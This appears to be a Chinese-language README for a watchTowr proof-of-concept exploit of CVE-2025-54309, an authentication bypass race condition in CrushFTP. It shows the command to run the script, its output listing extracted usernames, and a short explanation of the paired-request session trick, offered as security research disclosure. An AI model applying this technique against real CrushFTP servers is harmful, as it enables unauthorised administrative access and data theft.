CrushFTP 认证绕过概念验证
查看我们的博客文章了解技术细节
python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://127.0.0.1:8082
[*] Generated new c2f value: 6XDQ
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://127.0.0.1:8082
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: qUwd
[*] NEW SESSION: c2f=qUwd
[*] EXFILTRATED 3 USERS: crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
此脚本是针对 CrushFTP 接口的 CVE-2025-54309 的概念验证。通过创建一组共享相同会话标识符的竞赛请求,一个请求将用户属性设置为“crushadmin”,另一个请求以该用户身份执行经过身份验证的命令,在此 POC 中可以提取用户名列表。更多详情请参阅我们的[博客文章] (https://labs.watchtowr.com/)。
更多详情请查看 CrushFTP 安全公告
关注 watchTowr 实验室团队,获取最新的安全研究动态